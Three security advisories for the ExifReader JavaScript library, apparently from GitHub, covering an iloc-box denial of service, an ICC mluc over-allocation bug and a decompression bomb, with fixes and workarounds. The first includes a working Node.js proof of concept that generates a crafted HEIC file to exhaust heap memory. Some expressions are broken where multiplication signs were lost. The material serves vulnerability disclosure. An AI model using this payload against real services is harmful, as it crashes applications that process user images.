Summary ExifReader 4.41.0 is vulnerable to denial of service through a crafted HEIC or AVIF file with a malicious iloc box. When offsetSize, lengthSize, and baseOffsetSize are set to zero in the iloc header, the extent-parsing loop allocates an unbounded number of JavaScript objects - up to itemCount × extentCount (65535 × 65535 = 4.3 billion) - without advancing the buffer offset. A 652-byte file causes 400MB of heap growth; a 6KB file exhausts all system memory and crashes the Node.js process with a JavaScript heap out-of-memory error.

Affected version tested

- npm package: exifreader - Version: 4.41.0 - Affected formats: HEIC, AVIF (ISO-BMFF container)

Root cause

File: src/image-header-iso-bmff-iloc.js, lines 79–116, function getItems().

The iloc parser reads four size fields from the file (each a 4-bit nibble, valid values 0–15):

| Field | Controls | |-------|----------| | offsetSize | Bytes per extent offset | | lengthSize | Bytes per extent length | | baseOffsetSize | Bytes per item base offset | | indexSize | Bytes per extent index |

The code then enters a nested loop: for each item (up to 65535), and for each extent within that item (up to 65535), it reads variable-width fields and advances the buffer offset by the corresponding size:

javascript for (let j = 0; j < item.extentCount; j++) { const extent = {}; extent.extentIndex = getExtentIndex(dataView, version, offset, indexSize); offset += sizes.item.extent.extentIndex; // 0 when indexSize=0 extent.extentOffset = getVariableSizedValue(dataView, offset, offsetSize); offset += sizes.item.extent.extentOffset; // 0 when offsetSize=0 extent.extentLength = getVariableSizedValue(dataView, offset, lengthSize); offset += sizes.item.extent.extentLength; // 0 when lengthSize=0 item.extents.push(extent); // allocates unconditionally } When all four size fields are zero (a valid value per the ISO-BMFF specification, meaning "field not present"), the buffer offset never advances inside the inner loop. Yet every iteration still pushes a new extensible object onto item.extents. There is no iteration cap, no cumulative allocation budget, and no guard that skips the inner loop when all sizes are zero.

Reproduction

Save the following as pocilocdos.js and run with Node.js against the bundled dist/exif-reader.js:

javascript const fs = require('fs'); const ExifReader = require('../ExifReader-4.41.0/dist/exif-reader.js');

function u32be(n) { return [(n >>> 24) & 255, (n >>> 16) & 255, (n >>> 8) & 255, n & 255]; } function u16be(n) { return [(n >>> 8) & 255, n & 255]; } function str(s) { return Array.from(Buffer.from(s, 'ascii')); } function box(type, content) { return [...u32be(8 + content.length), ...str(type), ...content]; }

const ITEMS = 10000; const EXTENTS = 65535;

const ftyp = box('ftyp', [ ...str('heic'), ...u32be(0), ...str('mif1'), 0, 0, 0, 0, ]);

const ilocPayload = [ 0, 0, 0, 0, 0, 0, ...u16be(ITEMS), ];

for (let i = 0; i < ITEMS; i++) { ilocPayload.push(...u16be(i + 1)); ilocPayload.push(...u16be(0)); ilocPayload.push(...u16be(EXTENTS)); }

const iloc = box('iloc', ilocPayload); const meta = box('meta', [0, 0, 0, 0, ...iloc]); const data = Uint8Array.from([...ftyp, ...meta]);

fs.writeFileSync('/tmp/pocilocdos.heic', data);

console.log(${data.length} bytes | ${ITEMS} items x ${EXTENTS} extents | ~${((ITEMS EXTENTS 80) / (1024 3)).toFixed(0)} GB expected);

const start = Date.now(); const timeout = setTimeout(() => { console.log([DoS CONFIRMED] Hung after ${((Date.now() - start) / 1000).toFixed(1)}s); process.exit(1); }, 30000);

try { ExifReader.load(data.buffer); clearTimeout(timeout); console.log(Parse completed in ${((Date.now() - start) / 1000).toFixed(1)}s); } catch (e) { clearTimeout(timeout); console.log(Error: ${e.message}); }

Scaled test results Run the above with different ITEMS values:

| Items | File size | Extent objects | Parse time | Heap growth | |-------|-----------|---------------|------------|-------------| | 1 | 58 bytes | 65,535 | 0.03s | +4 MB | | 5 | 82 bytes | 327,675 | 0.17s | +16 MB | | 100 | 652 bytes | 6,553,500 | 1.74s | +401 MB | | 256 | 1,588 bytes | 16,776,960 | ~8s | OOM crash | | 10000 | 60,052 bytes | 655,350,000 | - | OOM crash (4 GB+) | <img width="1839" height="588" alt="image" src="https://github.com/user-attachments/assets/cc3bd540-4197-4ada-93c9-3397811a6c02" />

Expected behavior

A zero-size field is valid per the ISO-BMFF spec (it means the field is not present). The parser should either: 1. Skip the inner extent loop when all extent field sizes are zero and no items need extent data, or 2. Cap the number of extent objects allocated (e.g., a per-item or cumulative budget).

Security impact

This is a denial-of-service vulnerability. An unauthenticated attacker can craft a ~1 KB HEIC/AVIF image that, when parsed by ExifReader, causes a JavaScript heap out-of-memory crash, aborting the application process. Any web service, desktop application, or mobile app that processes user-uploaded HEIC/AVIF images through ExifReader is affected.

Note: The impact is established using ExifReader's existing distributed (dist/exif-reader.js) code.

Suggested fix

In src/image-header-iso-bmff-iloc.js, in the getItems() function, add a maximum per-item extent limit:

javascript const MAXEXTENTSPERITEM = 10000;

for (let j = 0; j < item.extentCount; j++) { if (item.extents.length >= MAXEXTENTSPERITEM) { break; } // ... existing code ... }

Alternatively (or additionally), skip the inner loop when all extent field sizes are zero:

javascript if (sizes.item.extent.extentOffset === 0 && sizes.item.extent.extentLength === 0) { // Fields are absent per spec; nothing meaningful to read // Still advance offset if extentCount > 0 to maintain correctness continue; }

Impact

When parsing an image with an embedded ICC profile that contains a crafted multiLocalizedUnicodeType (mluc) tag, ExifReader can be made to allocate memory proportional to attacker-controlled fields in the tag rather than to the actual size of the input. Processing such an image causes excessive memory consumption and can terminate the host process (out-of-memory).

Any application that calls ExifReader.load() on untrusted images, for example, user uploads in a web service, is affected. ICC profiles are carried in JPEG, TIFF, PNG, HEIC, AVIF, JPEG XL, and WebP, so the issue is reachable from any of those formats.

Patches

Fixed in exifreader@4.39.0. Upgrade with:

npm install exifreader@latest

Bower users consume the bundled dist/ files from this repository, and the same fix is committed there.

Workarounds

If upgrading is not immediately possible, configure a custom build that excludes the icc module so that ICC parsing (and therefore this code path) is skipped entirely.

Resources

- Reporter's writeup: https://gist.github.com/yuki-matsuhashi/3243ea38e5fbf8cfe19b624f04c9f4b4 - Patch: https://github.com/mattiasw/ExifReader/commit/c9d88b67e127b2dcc7b46e328df468257fb2dc30

Impact

Versions of ExifReader from 4.20.0 through 4.38.1 do not bound the size of decompressed metadata blocks. When a caller invokes the asynchronous API (e.g. ExifReader.load(file) or ExifReader.load(buffer, {async: true})) on an attacker-supplied image, a small compressed chunk in the file can expand to hundreds of megabytes of memory, consuming heap and CPU until the process slows down or runs out of memory.

The affected paths share a single decompression utility, so the issue is reachable through any compressed metadata block the library handles asynchronously, including:

- PNG zTXt, compressed iTXt, and iCCP chunks (deflate) - JPEG XL Brotli-compressed Exif and XMP blocks

A typical proof of concept produced roughly 1000× expansion (for example, ~32 KB of compressed input expanded to ~32 MB of output, ~130 KB to ~128 MB).

Both the npm package and the dist/ bundle published from this repository (consumed by Bower and other users of the prebuilt artifact) are affected.

Patches

Fixed in 4.39.0. The decompression utility now reads the decompressed stream incrementally and aborts as soon as the running total would exceed a configurable limit. The default cap is 128 MiB per metadata block, which is well above any realistic legitimate value. When a block exceeds the cap, that block is skipped (a warning is emitted via console.warn) and the remaining tags are returned as usual.

The cap is configurable via the new maxDecompressedSize field on the decompress option, in bytes:

javascript const tags = await ExifReader.load(file, { async: true, decompress: { maxDecompressedSize: 16 1024 1024 // 16 MiB } });

The same cap applies to results returned by user-supplied custom brotli/deflate functions.

Workarounds

- If upgrading is not possible, avoid invoking the asynchronous API on untrusted inputs. The synchronous code path skips compressed metadata blocks entirely and is not affected. Alternatively, pre-validate input files by source or size before passing them to ExifReader.

Resources

- Reporter's writeup: https://gist.github.com/yuki-matsuhashi/cad1a45d936062438b4ab24613c34c55 - Patch: https://github.com/mattiasw/ExifReader/commit/5f116128adc19f674902f8bf582bfe7dd0a36375 - README — "Limiting decompressed metadata size": https://github.com/mattiasw/ExifReader/blob/main/README.md#limiting-decompressed-metadata-size